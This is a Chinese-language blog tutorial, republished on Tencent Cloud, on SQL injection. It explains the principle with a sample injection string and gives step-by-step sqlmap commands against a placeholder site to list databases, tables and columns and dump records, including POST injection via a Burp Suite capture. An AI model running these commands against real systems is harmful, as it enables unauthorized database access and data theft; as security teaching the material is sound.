首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >利用burpsuite+sqlmap POST自动化注入详解

利用burpsuite+sqlmap POST自动化注入详解

作者头像
小黑同学
发布2020-08-17 14:31:22
发布2020-08-17 14:31:22
2.4K00
代码可运行
举报
文章被收录于专栏:E=mc²E=mc²
运行总次数:0
代码可运行

介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例

对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式

sql注入的原理

1.以我们进行百度搜索时某个"关键词"时,我们客户端的请求就会被带入数据库查询.

2.正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1 这里,id=1是正常的参数

3.但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入s?id=1' and select database() --+ 这里and后的语句就是"非法语句",显然服务端不希望我们获取响应信息.这时,sql注入就出现了.

4.简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.

5.了解了sql注入的原理,就知道sql注入的条件了: 对用户端输入过滤不严格;并且可以带入数据库查询.

常用工具

sqlmap:代替手动,自动构造大量的sql语句探测漏洞,高效发现目标信息 burpsuite:抓包,拦截抓取到请求的参数,如果目标不是get请求,我们无法在url中拼接参数,所以需要抓包再结合sqlmap进入注入测试

get注入(使用sqlmap)

假设 http://www.test.com/fu?id=111 是存在注入点的url

①sqlmap注入爆数据库

python sqlmap.py -u "http://www.test.com/fu?id=111" --dbs

②爆出对应数据库中所有的表

python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 --tables

③爆出对应表的列名

python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 --columns

④爆出表的所有记录

python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 -C "字段1,字段2,字段3,字段4" --dump

代码语言:javascript
代码运行次数:0
运行
复制
上述语法中 `-u` 可以省略

post注入(burpsuite+sqlmap)

post请求无法通过以上的 sql语句直接扫描,下面是对于post请求的SQL漏洞测试方法

①通过burpsuite 查看请求

burpsuite的安装及使用

右键copy to file 将请求内容保存为文件

②打开sqlmap

爆数据库语句 sqlmap -r 前面保存的位置 -p 请求参数 --dbs

获取库名后,爆表、字段、记录其它用法和get类型的请求一致


本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/03/22 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • sql注入的原理
  • 常用工具
  • get注入(使用sqlmap)
    • ①sqlmap注入爆数据库
    • ②爆出对应数据库中所有的表
    • ③爆出对应表的列名
    • ④爆出表的所有记录
  • post注入(burpsuite+sqlmap)
    • ①通过burpsuite 查看请求
    • ②打开sqlmap
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档